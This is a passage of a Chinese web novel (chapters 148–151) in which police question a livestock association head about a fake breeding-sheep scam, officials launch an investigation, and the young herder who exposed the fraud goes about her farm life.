“你们不是这个行业的人，你们可能不太了解”，赵强叹了口气，不知道自己当时的侥幸心理到底是怎么想的。 “如果育种只是简单地去改良性状，比方说是提高产毛量和生长速度，还是基于现有品种的选育的话，大概要需要10-15年。” “如果是改良一些复杂性状，比方说是提高抗病性或者适应极端气候，那么就需要更长的时间，20年左右吧！” “如果是杂交培育新品种，比方说是用绵羊和山羊配，那这个时间就没办法估量了，也许二三十年，也许是三五十年，也许是一辈子都没结果”，他感慨了一句，“科研从来不是我今天做，明天就能出成果的事情，像是美利奴羊，澳洲美利奴羊很出名，是世界闻名的产毛羊，这种羊是他们花多长时间培育出来的？” 他伸出两根手指，楼宇不自觉回答，“20年？” 赵强笑着摇了摇头，“两百年。” “而且有些事情你瞒得住外行人，你瞒不住行业内的人。像是小姚她在培育湖羊、杜泊羊和阿勒泰羊的三元杂交品种，我最开始是因为帮她找湖羊知道了些消息，但也就半个月之后就有人给我打电话问我她是不是在搞育种”，当然了，话里话外说她一个外行人什么都掺一脚，还不会走就想跑什么的他就没说了。 “秘密是藏不住的”，赵强感慨，“可马进宝的羊就像是从天而降一样，我们两个省都是畜牧业大省，我们不可能不关注对方的进展，可这个羊是从哪里出来的呢？” 第148章 对啊,这个羊是从哪里来的呢？ 楼宇忍不住代入想了一下，可下一秒就觉得不对了，他板起脸来,“赵强同志,既然你作为内行人已经发现事情不对了,为什么没有任何警惕性,反而积极配合去开了这个良种推广会呢？” 赵强苦笑,“我不是什么都没做,我联系了自治区协会那边，他们的意思是我没有证据证明这批种羊确实有问题，但是相反的是，良种厂联系我们推广,而上面农科院又给他们背书,我们照做就行。” “所以你做了什么？” “我没有办法以我们行业内的共识为由拒绝推广种羊,对畜牧业协会来说，技术培训和推广是我们的义务，我们的本职工作中就包括了推广良种,你让我怎么拒绝？难道我去说我没听说过你们的羊,所以你们的羊一定是假的？” 楼宇沉默了，他想了想其实也对,这并不是一个反驳的有利证据。 就听老警察继续问,“那你也说了是需要畜牧局给下发文件的,文件呢？” 赵强拿烟的手顿住了,半晌用力吸了一口后苦笑了一声，“我承认里面还有别的问题，是市政府的市委秘书给我打了个电话。” 老警察眉头皱了起来，眼神愈发冷冽,“他说了什么？” 赵强苦笑，“他没明说，只是跟我说农科院是专业大大单位，他们背书的良种应该没什么问题。” 这说是暗示也是暗示，可严格来说这句话甚至没什么问题。 有什么问题？农科院那是什么单位？首都的那个农科院那是直属农业部的，那是国家农业科技创新的核心力量，无论是在基础研究还是技术研发上，那都是走在国家的最前端！ 省级的农科院难道就好进了？良种厂有自己的研发部门，但是班底的方方面面和农科院都没办法比，所以目前他们更多的是承担着农科院培育出来之后他们再进行繁育的工作。 这样一个单位给出的背书，谁会相信有问题？ 老警察捏了捏眉心，头疼，瞧瞧这一个个，干正事儿未必能干好，干坏事的时候一肚子心眼子。 看看那个农科院的，说是在什么特定情况下喂养，这位又说什么有专业部门背书应该没什么问题，这些用笔杆子的就是心脏！ 农科院的那个不好说，市委的这位，按他的经验来说，他做的这么缜密，未必能查到他有收到什么财物，刑事责任是别想了，顶多就是之后给点什么处分之类的都算不错了。 就很气！ “那他说了之后你就按照做了？”楼宇还是心里不舒服，看看，一通电话的事情就好像把一切都轻飘飘地搞定了。那老百姓呢？ 听说这个什么狗屁协会可是要收会费的！收了会费，还带点儿官方的味道，人家才信任你。结果呢？ 苦得是谁？ 是那些辛辛苦苦赚血汗钱的老百姓！ 他们市的这些牧民们如果不是因为姚新泉去举报，那搞不好回家立马就是筹钱甚至贷款！ 他好像看到了一个个家庭破碎在他的眼前！ 怎么会有人这么坏啊！哪怕他已经干了一年多了可还是觉得有种窒息感，这些人踩在别人的血肉上往上爬，他们枕着这种脏钱，半夜真的睡得着觉吗？ 赵强又点了一根烟，手不自觉地颤抖了起来，他拍了下自己的手朝两人苦笑，“不好意思，我有点失态了。” 楼宇正是气愤的时候，根本不想给他任何回应，老警察同志也只是调整了下坐姿示意他继续。 “后来啊，我没得选择不是吗？上面说研究员马上就到，让我尽快安排好他之后的活动，吃住我们还得包”，他讽刺一笑 ，真是苍蝇腿的肉也没见他们放过啊！ “我让协会的人通知了其他会员，我单独给姚新泉打了个电话。” 听到姚新泉的名字，楼宇抬起头来看了他一眼又赶紧低头。 “为什么？” 赵强被烟呛了一下，咳嗽了几声后声音有些嘶哑，“这姑娘挺特别的，一方面是年轻，咱们本地的牧民三十来岁的都算是年轻人了，但那姑娘也就二十出头吧，还是个女孩儿！” “另一方面，从我跟她第一次见面我就发现了，这姑娘她搞养殖竟然走的是‘学院派’”，他忍不住笑了笑，“我后来去打听了下她，高材生，特有出息，别说下面县了，咱们市一年能考到外面去上大学，还是好大学的有几个？所以我知道她有本事。” “但我也查了，她不是学的牲畜相关专业的，可人家行事作风就是学院派的，不管是搞科学养殖还是什么育种，听说她干兽医也干的风生水起的。” “我印象中她当时参加了我们一个青贮推广会，之前我就听说过她，那次一见真的有种鹤立鸡群的感觉。一群没文化的大老粗中间突然跳出了一个有文化懂养殖的年轻人，不容易啊！” “我也去打听过她的为人”，听着他在这谈论姚新泉，楼宇心里的不爽都要溢出来了！ 不是，你什么东西啊？人家只是来你这注册了个会员，你就跑去扒人家的背景？ 他生气归生气，那边赵强继续说着话，“我分析过她的性格，强势但不胡搅蛮缠，不过她的眼里容不得沙子。我当时就心想，确实未必真有问题，但我对养殖这一行来说不过是纸上谈兵，她就不一样了，书面知识她有，自己又养了那么久，真有什么问题她不可能发现不了的。” “所以你就想让她来揭发？”楼宇眉头紧皱，老东西！ 你自己担心影响仕途或者被人报复之类的，你就找了个年轻人出来顶锅搞事？ 老王八蛋！ 老警察瞪了他一眼，示意他闭嘴，又让赵强接着说，楼宇无奈在一旁运气压下心中的邪火，什么玩意儿啊！ 赵强扯了扯嘴角，“我是希望中间没任何猫腻的，不过在会议开始之前，我也不清楚他到底要推广什么羊，开会的过程中才知道”，两人并不对他这种甩锅行为发表什么意见，赵强只好继续，“姚新泉开会时提出了很多点疑问，哪怕外行人也能看得出来马进宝慌了，他解释不了。” “外行人看得出来，怎么也没见你这个内行人在我们抓人前跟我们反映呢？”楼宇眼中满是嘲讽，老警察低着头勾了下嘴角，年轻真好啊！ 赵强有些尴尬，同时心里又多了几分不满，自己如今算是虎落平阳了，若是从前，若是从前…… 想到这里又不免觉得灰心，这档子事情一出，他都未必能安稳退休了！ 这是自己邀请姚新泉来的，这事儿除了是姚新泉捅出去的不做他想。 自己请来的人把这事儿闹到了现在这个地步…… 可是难不成非要等着骗子把人骗了之后卷款潜逃吧？难道那个时候自己就能逃得掉了？ 早晚而已！ 一时间倒真不知道怎么做才合适，或许就不该开始，这才是这个问题唯一正确的解。 老警察接过楼宇递过来的笔录本看了看没什么问题签名后又递给赵强，“看看有没有什么要修改的，没问题的话签字。” 等他签完字后老警察起身，赵强想送被拦了一下，“不用客气了，不过我丑话说在前头，赵会长这段时间最好减少外出，更不要去外地，还请配合我们工作。” 他们最开始以为这姓赵的顶多可能有点失职，但现在这样一看，搞不好是渎职而不是失职，这样的话这位会长可搞不好未来会怎样呢！ 赵强苦笑，他把两人送到门口后回来坐在沙发上沉默，直到赵媛媛回来后他才如梦初醒想要去给赵媛媛做饭。 赵媛媛一脸慌张地问他到底出了什么事情，协会早晨被抄了一遍，有些早就看她不顺眼的人还说了些似是而非的话，赵媛媛心慌得不行，趁着中午跑了回来。 赵强叹气把大概经过说了说，赵媛媛听罢愣住了，“你是说是姚新泉去举报的你？她害你？” 赵强苦笑，“你自己摸着良心说，你觉得是吗？” 赵媛媛语气中有迟疑，有不敢确认，最后转成了坚定，“本来就是！她如果不多事的话，谁知道这件事情后来会有什么发展？爸你也开了会，你也发现不对了，搞不好你自己都去报警，用得着她多此一举？怎么就显着她了？她怎么那么贱啊？” 赵强眼皮子跳了跳，可不得不耐着性子哄她。赵媛媛借着他的关系在协会里虽然没有欺负人，但她脾气大性子又直，也算得罪了不少人，如今，他苦笑着摇头，“唉！” “我警告你，别出去乱说，更别跑到姚新泉面前去瞎说，她不是好惹的！”就是因为他查了才知道，姚新泉背后商政两方面都有些关系，这事儿本来就是他们自己不占理，若是再胡搅蛮缠最后倒霉的只会是他们自己！ 赵媛媛嘟着嘴不满道，“那爸你怎么办？你会出事吗？你会被抓吗？”她声音里哭腔愈发明显，“那爸你会坐牢吗？” 赵强苦笑着摇了摇头，再看吧！ 不过他自认为坐牢应该不至于，但是这个工作应该就甭指望了。 第149章 姚新泉接到了楼宇的电话,“怎么了，这突然给我打电话是不是出什么事情了？”尤其是自己刚去他们分局报案，是有什么要自己去配合调查吗？姚新泉不免心里一紧。 楼宇在那边唉了一声,姚新泉一脸懵,“你叹什么气啊？出了什么事情你跟我说啊？是要我再去一趟吗？” 楼宇又叹了口气。 姚新泉脸色不大好看了,“你光叹气干嘛？问你怎么了？” 楼宇又要叹气时姚新泉冷笑一声,“你再叹气试试？” 楼宇被噎了一下,“案子没办结,我没办法跟你说啊！” “你！”姚新泉气结。 神经病啊！莫名其妙打过来，莫名其妙叹了好几声气，问他怎么回事又说不能说？？？ 有病吧！ 姚新泉没忍住给人骂了一顿就想把电话挂了，那头楼宇哎哎两声喊住她,含含糊糊地交代,“以后别出了什么事情就蒙着头往前冲知道不？行了,我挂了。” “怎么了？”师月江问。 姚新泉都气笑了，“跟傻了一样，打过来找骂呢！” 楼宇就是很气啊！ 都什么破事儿啊！那个赵强自己担心,不敢去搞对方,所以就拿姚新泉当枪使。 现在是结果比较好，上面几层的领导都介入了,已经不是几个人能兜住的事情,倒也不怕将来再出什么报复事件或者被人穿小鞋。 但如果不是呢？ 能把 这个推广会开到他们市里来,市里会没人？那个市委秘书屁股上不干净,他上面的人呢？ 那么多城市都没被爆出来，这里面到底有多大的一个利益链，楼宇都不敢去想！ 如果没被挖出来，那姚新泉的处境多危险？ 就算没有直接影响到她的人身安全,但是隔三差五给她弄点检查或者使点绊子这也让人受不了啊？ 可她凭什么遭遇这些？ 她难道不是纯粹的好心被辜负吗？ 师月江大概知道楼宇是什么意思了，他揽着姚新泉去吃水果，他舀了半碗酸奶过来，然后里面放了西瓜、桃子等等她喜欢的水果，因为自制酸奶会比较酸，所以他又把糖罐放到桌面上。 “案子没办结的时候人家有保密条款肯定是不能说的”，他安慰道。 姚新泉叹了口气，她也不是傻子，倒也不会真生气，就是觉得有点无语，那小子跟有病一样！ “看样子应该是问出了些跟你有关系的，他为你抱不平呢！” 姚新泉眼里多了几分笑意，“猜出来了，而且我都能猜到是谁，不就是赵强吗？” 她冷笑了两声，舀了一大口酸奶被酸的微微眯起了眼睛，“都可笑，我本来不知道是什么情况，只是觉得他那天叫我去的话听上去怪怪的，但我去了之后什么听不出来？” “他就算没有正儿八经真的养过牛羊，但是这么多年耳濡目染，该知道的都知道了，该会的也大概都会了，他能看不出来？” 姚新泉眼中满是鄙夷，“还只是借了他们的平台，签不签合同跟他们没关系？这都什么屁话！我都想上去给他砰砰两拳！” 姚新泉都觉得好笑，怎么有人能说出这么不要脸的话来？ “他不是一个完全的民间组织的会长，他身上是背着社会责任的，也是国家干部，这是他能说出来的话？” 她不是不能理解人都有私心，他怕事情是自己捅出去的会有麻烦，但是难道真的找不到什么别的解决途径，只能看着那些人被骗？ “他还说了些似是而非的话给自己兜底，就好像这话一说之后不管出不出问题，出什么问题，他都能把勾子擦干净一样！” 天真的让人觉得好笑。 师月江无奈地拿出帕子给她擦了擦溅到脸上的酸奶，“这么气啊？” 姚新泉叹气，眼神中满是悲悯，“其实我当时还挺生气的”，好心好意揭穿那个人，她为的是什么，还不是希望这些人别被骗了？ “可他们当时给我的感觉是我挡了他们的财路了！”她苦笑，“他们眼里心里好像都只能听到那人给他们吹嘘的话，就跟早些年那种一亩地收成一万公斤！” 真没人觉得不对吗？种了一辈子地的人不知道地里的庄稼一年收成多少？ 不是所有人都是疯子，只是有时候他们不免会想，万一呢？如果真这样，那日子是不是就好过起来了？ “他们日子苦啊！” “政府这些年都在推动牧民定居，情况已经比早些年好了一些，早些年啊”，姚新泉叹了口气，夏天暂且不提，一到了冬天，那就是一场漫长的酷刑。 冬天，寒风卷着雪粒子，像刀子一样刮进毡房的缝隙，毡房里烧着牛粪或者柴火，为了度过漫长的寒冬必须得省着用，有温度但并不高。 一旦出了门，呵出的白气就会在眉毛上结霜，可辛勤的牧民没办法“猫冬”。 男人天不亮就得踩着没膝的雪去喂牲口，草料总是不够，瘦弱的羊挤在漏风的棚圈里，一场“白灾”就能让半年的心血冻成硬邦邦的尸体，进而是一个家庭的崩溃。 而女人的手也总是裂着血口子，挤奶、打酥油、修补毡房。 寒冷的天气，也许成年人勉强能抗衡，孩子呢？稍有不慎便会染上肺炎。 冬天的肺炎像影子一样跟着牧区，国家政策好，各地都有赤脚医生，可有些地方赤脚医生要骑马走一天才能到。药物短缺，药箱里可能只有几片发黄的阿司匹林。 后来草场被承包了，日子也有了盼头，但牧民们欠下的债还是像雪一样越积越厚。每年卖羊的钱刚还了赊账的饲料，付了拖欠学校的学费还能剩多少？雪灾一来又得借钱买草。 不少老牧民身上都带着病，他们说，骨头里的风湿痛是年轻时雪地里找羊落下的病根。 现在日子似乎好过了一些，但冬天依旧漫长寒冷，并没有善待年轻的畜牧业从业者们。牧民的冬天，终究还是和从前一样，用一身病熬过漫长的白毛风，等一场等不起的春天。 想到这里姚新泉又想叹气，心里憋的难受。 “他们跟我闹我很生气，但他们被骗我更生气。家里大孩子等着结婚，小孩子等着上学，老人等着治病，妻子没一件穿的出门的衣服，那钱留下干点什么不好？” 所以她气，但再气，恨得还是那群该死的骗子！“真想把他们千刀万剐了！” 师月江拍了拍她的肩膀，安慰道，“你已经做得特别好了，你救下的可不止是那么几个人，他们如果这次得手了，必定还是会继续捞，继续骗，到时候受害者不就更多了？” “你是学管理的，你应该知道有个词叫羊群效应，当然了，同时也是经济学上的一个概念。” 姚新泉点头，她自然是知道的，也知道师月江想说什么。 羊群效应本质上就是一种从众心理，她就是养羊的所以真的可以很直观地感受到，羊群就是一种很散乱的组织。平时在一起大家都是随波逐流左冲右撞，但一旦有一只头羊动起来，其他的羊也会不假思索地一哄而上，至于前方到底是什么，是坦途还是悬崖都无所谓。 人们好像倾向于觉得，多数人的选择就一定是正确的。 “他们已经跑了五六个市了，辐射的县这样算下来更是有三四十个。当那些骗子展示成功案例的时候他们会不动心？而且因为他们这个羊是要好久之后才会给，那在这期间没人能证明真伪，还不全凭他一张嘴？” 甚至还有人会觉得，那么多人参加了，那么多城市都有人参加，总不可能那么多人都是傻子吧？继而轻信对方。 但事实上，不是傻子的人已经被他们筛选出去了！ 两人对视苦笑，没一会儿姚新泉用力拍了下额头，“说到底还是上面人有问题！” 他们这儿倒没人去逼她加入协会，但是不少地方只是不明着逼，这种情况下，协会天然就是带着官方背景的，谁会相信政府里的人会骗自己啊？ 再来一堆头衔，又是这个农科院又是那个农科院，公章材料准备了一大堆，怎么怀疑？ “真的太乱了啊！” “没错，真的太乱来了！”7.2特大诈骗案督导组的组长用力拍了下桌子，脸黑得众人都不敢直视。 “凡是牵涉其中的人一个都不能放过！”田有生本来在隔壁市视察工作，出了这个事情之后来不及从省里派人，就干脆让他过来了。 他父母早年就是牧民，解放前的牧民，那过得是什么日子可想而知！ 后来自己幸运在十年特殊年代前读完了大学，如今已经干到省里了。他就是牧民出身，他最是知道牧民过得是什么日子。 确实，现在条件好了些，政策也好了，但是老百姓的日子还是苦，这不是一天两天能改善的，他们夙兴夜寐不就是希望能让老百姓的日子好起来吗？ 结果他们一个个累到都要咳血了，结果这群卖勾子的在后面干这种事情？ “一个都别落，一个都别给我放过！” 第150章 “上上下下,凡是跟这件事有关的，每一个人都给我查！到底是本身就参与其中，收了人家东西帮人家做事,还是收了人家东西睁一只眼闭一只眼,或者是能力不足啥都发现不了的,或者有什么其他目的的,我不管他为了什么,但是你们要搞清楚,你们是人民选出来的干部！有谁敢袒护那些人或者通风报信的，你要是有那个胆子去做，那就去祈祷别被我发现，要是被我抓到了,我拼着这身皮不要,老子让你们全家都别想再在新省混！” 田有生是个瘦老头,个子从前可能堪堪到一米七，但现在腰挺不直了，一米七都不到,可此时站在众人前面身穿警服的他看上去比台下所有人加起来气势都要足,没人敢去摸虎须。 “现在最重要的是去追溯那些钱”，田有生想到就心疼,那么多钱能干多少事情了啊！ “外贸公司那边已经让人去查了,他行骗的太快,有两个市的钱还没送出去”,田有生满脸嘲讽，花钱的速度赶不上赚钱的速度了？ “那笔钱的去向马进宝不愿意说，但这个咱们得查，得好好查！” “一组的人继续去审问马进宝还有其他相关人员,看看他们身上能不能找到没送走的那些资金的一些线索。” “二组的人赶紧去他之前跑过的那几个市，去跟当地公安配合查查看他在那边有没有什么关系亲密的或者是密切接触过的人？给的钱都是现金，这么多钱一般也没办法随身携带，那他是让人送走，还是存到银行或者通过什么别的途径运走了？去查！” “三组的人赶紧去马进宝老家还有他之前工作的地方，去查他的人际关系，去看看那些人包括他们身边的人，最近有没有谁发了财或者突然暴富的。” “还有，我已经联系过相关部门，那家外贸公司目前不允许在跟外界有资金往来，之前能截停的也都得截停。不止如此，最近的所有外贸跟国外的汇款也会审核得更加严格，这些还要向上面反应，我去反应，你们把文件给我写好。” “另外还有海关那边，对可疑人员身上携带的现金数量也得控制，免得他 们人肉运钱。” 在田有生心里，追责都可以放一放，毕竟那些卖勾子的哪个都别想跑得掉，但是钱的话不抓紧那可就没了啊！这损失就更大了！ “另外，N省农科院的事情，查出相关材料后把笔录什么的都备份上，我们已经联系了N省那边跨省办案，到时候对接的同志配合好工作。” “咱们省农科院里凡是跟此事有一点关系的都给我去查！” “还有那家良种厂的问题”，田有生冷笑，他虽然不是搞经济的，但是这段时间也听说了不少这家厂子的破事，真是应了那句老话，庙小妖风大，池浅王八多啊！ 人家那些每年流水上千万的国营企业也没见在改革过程中因为阵痛弄成这样，他们家倒好，出了这么多破事！ 田有生的爱人早年因为怀孕生孩子调到了相对闲一些的部门，后来她身体又出了点问题，便一直没回到一线来，日子清闲，听了不少乱七八糟的事情都来跟他分享。 田有生记得是去年还是年初来着，他们厂子说好的给人鸡苗、鸭苗、鹅苗的，结果临了全给人的是蛋！ 当时田有生就想说，去他妈的蛋！当然了被老婆子说不讲文明不像读书人后又闭了嘴，但心里还是脏话刷屏。 什么玩意儿啊！ 你一个国营单位就这样干工作的？ 当时下面不少单位就上来告状了，结果不知道怎么回事，莫名其妙就没下文了。如今看来，水很深啊！ “上面已经安排了审计人员去查良种厂的账”，众人哇了一声，他们能干出这种事情来，说他们身上是干净的谁能信？ 搜查之类的手段他也懒得说了，只是强调，“上面很重视这个案子，你们谁要是敷衍工作，那趁早滚蛋，省的到时候我收拾你了又觉得我不近人情！” “行了，多的话我也不说了，赶紧动起来吧！” 田有生送走众人后半阖着眼皮想事情，这事儿不可能只在查案上就了了，里面问题大着呢！ N省农科院的人是怎么到他们省来兴风作浪的？来了之后怎么又那么手眼通天的联系上这个，勾搭上那个的？ 中间是不是有掮客？如果有，那他难道只做了这一单？之前呢？ 他们能做到这一步，肯定不只是简单的我给你塞点钱这种程度，官商勾结、利益输送，里面问题可大着呢！ 比方说有没有高官的子女或者其他亲属挂名在这些厂子呢？是不是还会带出一些侵吞国有资产的问题？ 有些问题未必会在这个案件中查清，但是他相信，阴沟里的老鼠们迟早会被抓出来剥皮抽筋的！ 另一边姚新泉因为这事儿心情实在说不上好，师月江去那边看着翻修了，她想了想从家里库房翻出一块儿羊毛毡铺在树下，又找了把黑伞挡在头上，躺在地上睡起了午觉。 半下午的太阳不小，要是就这样直愣愣地晒其实会觉得烤得慌，但本身在树下已经挡住了一部分太阳，只剩星星点点从树叶中漏下来的阳光洒在脸上身上。 但姚新泉又拿了把伞挡住了头脸，没一会儿就睡得昏昏沉沉的。 大马鹿跟小马鹿不知道什么时候跑了出来，身边还跟了一只走路一摇三晃的野骆驼崽跟小骆驼崽。 因为大雨被送来的病号们中除了性格急躁并且还偶尔会突然冒出攻击性，伤情还不算轻的小雪豹以外，她没太限制小家伙们的行动。 只是里面那几个还喝奶的暂且不提，盘羊和鹅喉羚胆子都不大，都窝在家里没怎么出来。 大天鹅翅膀骨折了也不爱动弹，陆龟的话更是在窝里趴着一动不动的，也就活泼好动的小野骆驼最乐意出门了。 家里的骆驼奶妈也是散养在生活区周边，小骆驼就总爱离开妈妈跑来找小野骆驼，然后两个小家伙跟在小马鹿的身边追着大马鹿跑。 那么大头马鹿，一脚就能踩死这几个家伙，也不知怎么竟一点都不怕…… 姚新泉迷迷糊糊感觉身边有小动物过来了，她也没理会，等被声音吵醒的时候才发现身边围了一群毛茸茸。 她笑着从小家伙堆里挤了出去到了大门口，就见艾力身边跟着一个眼熟的男人从拖拉机上下来，见到他便朝她挥手。 姚新泉小跑过去开门，然后扶住了艾力，不太赞同道，“你腿不是还没好吗？你瞎折腾什么？” 艾力嘿嘿一笑，指着拖拉机车厢里的牛，“这不给你送牛来了吗？” 姚新泉见到这牛才反应过来，“我说总觉得自己好像忘了什么事情呢！” 她又跟村干部打了个电话，对方也笑了笑，“师同志不在吗？” “找他有事？”姚新泉有点好奇，这俩人还有私交？ 对方赶忙摇头，“不是不是，就是问问”，说着他又讲起了那名孕妇的事情，“她还在月子里，她男人前两天赶不回来，估计过几天能回来，他托我们过来道谢，还说等回来后再带着谢礼上门。” 姚新泉赶忙摆手，“不用不用，他站出去是因为他知道自己能做到，不是图什么感谢或者东西的，你让他们自己留下给产妇补一补。” 开玩笑，她虽然算不上豪富，但是比起那家人可是有钱多了，更别说师月江了，都不图这个。 “我就是来传个话，等回头让他们自己过来”，村干部笑着摇头，这救命的事要是不感谢那是要被人戳肺管子的！ 再说了，这事儿要不是有师月江，一名胎位不正、身边又没有会接生的人的孕妇，除了母子俱亡还有别的可能性吗？ 就算不说这个，全县其他地方都没有出人命，就他们村出了，让他怎么做人？让镇上怎么做人？ 所以要感谢，肯定要感谢！ 姚新泉没再说什么，扛了木板过来让牛下来，等小牛站稳后她拍了拍小牛的脊背，“还是瘦，得好好补补。” 艾力笑了起来，瘦又怎么了？他后来检查了一下，这牛身体没啥大问题，驱虫做好，再补充补充营养，确实是一头难得的好牛啊！ 姚新泉牵着牛去了才腾出来的一间畜棚，先给它栓好后，弄了点儿水跟青草过来。 “你腿怎么样了？”姚新泉给两人还有司机煮了奶茶。 艾力有点尴尬，上厕所摔了一跤什么的，唉！ “没事儿，就是当时崴了脚，骨头哪里都没伤着，问题不大。” “你再请几天的假，好好歇一歇，这阵子应该没什么着急的事情，用不着你东跑西颠的”，姚新泉忍不住叮嘱，他年龄不算小了，要是不好好恢复，将来问题只会更大。 艾力笑着点头，“假就不请了，我就在兽医站坐诊，不出外勤，他们有需要自己来找我就行。” 几人又聊了会儿后，艾力跟着车走了，姚新泉找了几个大瓶子，一人给装了一大桶牛奶，今天留的不少，她回来的晚，也懒得做麻烦的了，一人给装一桶，剩下的都做酸奶！ 150-160 第151章 姚新泉翻出了驱虫药给牛喂上,又给它配了点儿粮，没专门喂药，它身体还不错,慢慢调理就行,没必要喂药。 姚新泉问过对方这牛有没有打疫苗,看当时村干部那一脸尴尬的模样姚新泉就知道了,她忍不住心想这牛命真挺大的。 不过过两天再说吧,等牛缓两天,刚到了新地方总得适应一下。 姚新泉翻出了自己买回来提前煮过的干净纱布，把纱布挂起来，底下接着一个盆，然后将发酵好的酸奶倒上去,等着沥干水分。 她照着准备了好几块纱布去过滤,就放那儿先晾着,大概六到八个小时后差不多就能得到半干的酸奶渣，再进行下一步处理。 看着盆里的乳清姚新泉嘀咕，“该买个冰箱了”,这乳清也不能浪费啊！ 可以直接喝,冰镇一下，在这个天喝肯定爽口！ 和面做馒头也成啊,或者到时候掺到饲料里面喂牛羊都行。 但这个天也不能就这样放着啊,很容易就坏的。 姚新泉发愁,冰箱又得多少钱啊！ 正叹气呢就听到外面的喇叭声,姚新泉出去看就见一陌生男人开着三轮摩托车，车后面载着个箱子，师月江则是骑着摩托车跟在旁边。 他下车开门后见到姚新泉朝她笑了笑，“我买了台冰箱。” 姚新泉瞪大了眼睛,“你咋知道我想买冰箱了？” 师月江难得笑的得意，“我每次回来给你带冰棍你那眼神都冒绿光了！” 姚新泉气得锤他，把冰箱安好后两人大概清洗了一下便把乳清放进了冷藏层。 “这是我让我哥的助理帮我买的双开门的西门子大冰箱，咱们市里的冰箱都小一些，国内的技术主要还是生产上下双门或者单门的冰箱。” 其实家庭用已经足够了，但问题是这边需要冷藏或者冷冻的东西太多了，当然是越大越好。 姚新泉没跟他客气，翻出自带的模具清洗之后姚新泉舀了一大碗乳清，然后想了想拌上蜂蜜，又切碎了点儿桃子果肉后倒进了模具里面，“等姐给你做冰棒吃！” 师月江没好气地戳了她一下，见她自己捣鼓得开心也没理她，他戴了个手套去了菜地里准备把那些没用的侧枝还有老叶子摘掉。 地里的草又得拔一下了，长得太快了，几天不收拾那地里一眼看过去根本分不清楚哪个是草哪个是菜。 问题是也没见姚新泉施肥或者打药，这草还有菜都跟打了激素一样！ 不过要说起来，师月江是觉得家里最不起眼但最有用的绝对是黑蜂了。 他们俩都不算喜欢吃蜂蜜的人，到目前为止也就去割过一次。但因为这些小家伙的存在，他们都不用授粉了！ 家里这些蔬菜里，像豆角、辣椒这些能自花授粉的不用他们操心，但像是茄子、辣椒这些都是得授粉的，没有蜜蜂就得他们来了。 倒也不难，就是麻烦。 姚新泉看了他一眼没跟上，她得看看哪些需要立马放到冰箱里的。 晚上两人吃了面片儿汤，凉拌的黄瓜，吃完后两人从廊下把巨大的躺椅搬了出来，姚新泉靠在师月江怀里看着星空，舒服的眼睛都要眯起来了。 北疆的晚上是真的很凉爽，而且他们这片儿蚊子也不多，不用担心在外面转一圈回去一脸的蚊子包，她爱死这个夜晚了。 迷迷糊糊差不多睡过去了，师月江轻轻碰了碰她的额头，笑着把人抱起送回屋里，幸好提前洗澡了，不然睡着都不舒服。 他出了卧室给小家伙们放好了水后这才回屋睡下。 县委里小干部们都下班了，几位副县长还有公安局的局长副局长几人坐在一起面面相觑。 “确认了就是咱们县的小姚是吗？”石副县长脸上的笑意根本无法掩饰，看得马副县长心里直冒火，却什么都不敢说。 上次的事情还没彻底消停呢，那破厂子破机器他们也找了专业人员过来看，确实没有维修的必要。 不是不能修，主要是去修花的钱保不齐都要赶上买新的了，他们是疯了吗？ 可不修的话，厂子怎么办？ 至于之前那个蠢货厂长盯上的那批机器，马副县长都被逗笑了，他到底有多大的脸啊？那是省里一条生产线，凭什么要给他们县？他们拿什么去争？ 那脸皮厚的真不是一点两点！ 大家虽然发愁，可这事情也不是三五天能解决的，日子还得照常过。 这不，今天下午的时候市里就来了消息，说是他们县有位同志揭发了一个重大骗局，维护了人民财产安全，减少损失上百万。 他们都吓死了好吗？ 上百万？县里财政现在十来万都拿不出来，上百万是啥情况啊？ 因为是涉及到诈骗的事情，所以楼副局长去找了他儿子楼宇，没得到准确的答案，但是知道了是姚新泉干的，几人这才坐在一起讨论这个事情。 “我记得小姚跟她对象小师两人都在今年县级先进个人的评选里面，这件事也能参考一下”，石副县长想了想又补充了一句，“也别觉得人家年轻，或者说是人家小两口都选上了就非得拽下来一个才行。” 黄县长笑眯眯地喝着茶点头，“小同志表现得都挺好是吧？” 石副县长点头，“小姚她之前几次都在帮着救助牲畜，像是上次污染，她就帮着救了不少牲畜，还有更早之前，有一次布病也是她及时发现的。这次更是冒着大雨帮着去救助牲畜，她又没有公职，至于说咱们政府事后给的补贴，可据我所知，她自己还往里贴了不少药材呢！” “至于小师的话，暴雨那天，他一个人下山通知救援队去营救，又帮着把人抬下来，来回这么几趟，那可是冒着生命危险的！” “救援队的人也报了集体的荣誉，他拿到个人的我觉得实至名归”，见黄县长点头，他又接着道，“还有他哥那个公司，去年一整年给咱们省捐了不少路，不过人家没刻意扬名，低调。那几天暴雨又是捐救生衣又是捐救生艇的，还有那货车也免费给咱们用，人家低调，但是咱们不能不记着这些恩啊！” 众人点头，楼副局长心里还挺高兴的，他本来还在想，自己该怎么为姚新泉争取比较好，毕竟他们都不是一个口子上的，贸然开口容易让人多想。 再说了，他看了一眼局长，这位要是见自己帮着说话，还不知道会不会跳出来反对呢！ 就像楼宇，他最开始也想留在自己眼皮子底下的，但留在县里的话，这位主儿还不知道要怎么使绊子。所以他只能舔着老脸求了老朋友把孩子分配到了市里。 唉，烦人得要命！ 这事儿没抽调县里的公安，他们现在也不好去瞎打听，所以几人最后拍板的结果就是，县里的申报正常评，并且如果不出意外的话两人都能评上。 姚新泉那个再往市里去报一下，搞不好也能评上，那不也是给他们县里长脸？ 姚新泉自然是不知道这些事情的，第二天起来后她也没忙别的，去联系了收割机回来打算收割一茬的苜蓿。 其实正常来说青贮苜蓿大概六月中或者六月底就能收割了，但今年不是前一阵子因为那河的原因导致没能浇水有点干。后来又下了场暴雨，因为他们及时过去清了积水，倒不至于说都糟蹋了，但到底还是影响了生长。 所以她跟师月江商量了稍微晚两天再收割。 青贮窖早就挖好了，是专门去村里雇人提前过来挖的，村里人不会挖，她也没挖过，都是摸索着来。 她联系了之前提供种子的那位同志，问了他该怎么收割跟青贮。 按对方的意思是说国外其实已经有专门做青贮的机械了，但是国内目前还没有这个条件，所以压实的话还是得靠拖拉机。 如果实在没条件的话，人工踩也成。姚新泉想了想还是雇拖拉机吧，这么多苜蓿，人得踩到哪辈子去？ 收割机收了一上午把苜蓿收割完，留了6厘米左右的茬子，等着之后再发一茬。 让师傅把苜蓿都摊开晾晒后，姚新泉给人结了钱把人送走。 回去记了账，姚新泉看着账本长长叹了口气，还是得养点儿羯羊啊！ 现在购入的话，育肥三个月左右，九月底十月这样卖掉，然后再买一批回来，到年前卖掉，虽然忙了点也会辛苦一些，但是 今年应该能过个肥年。 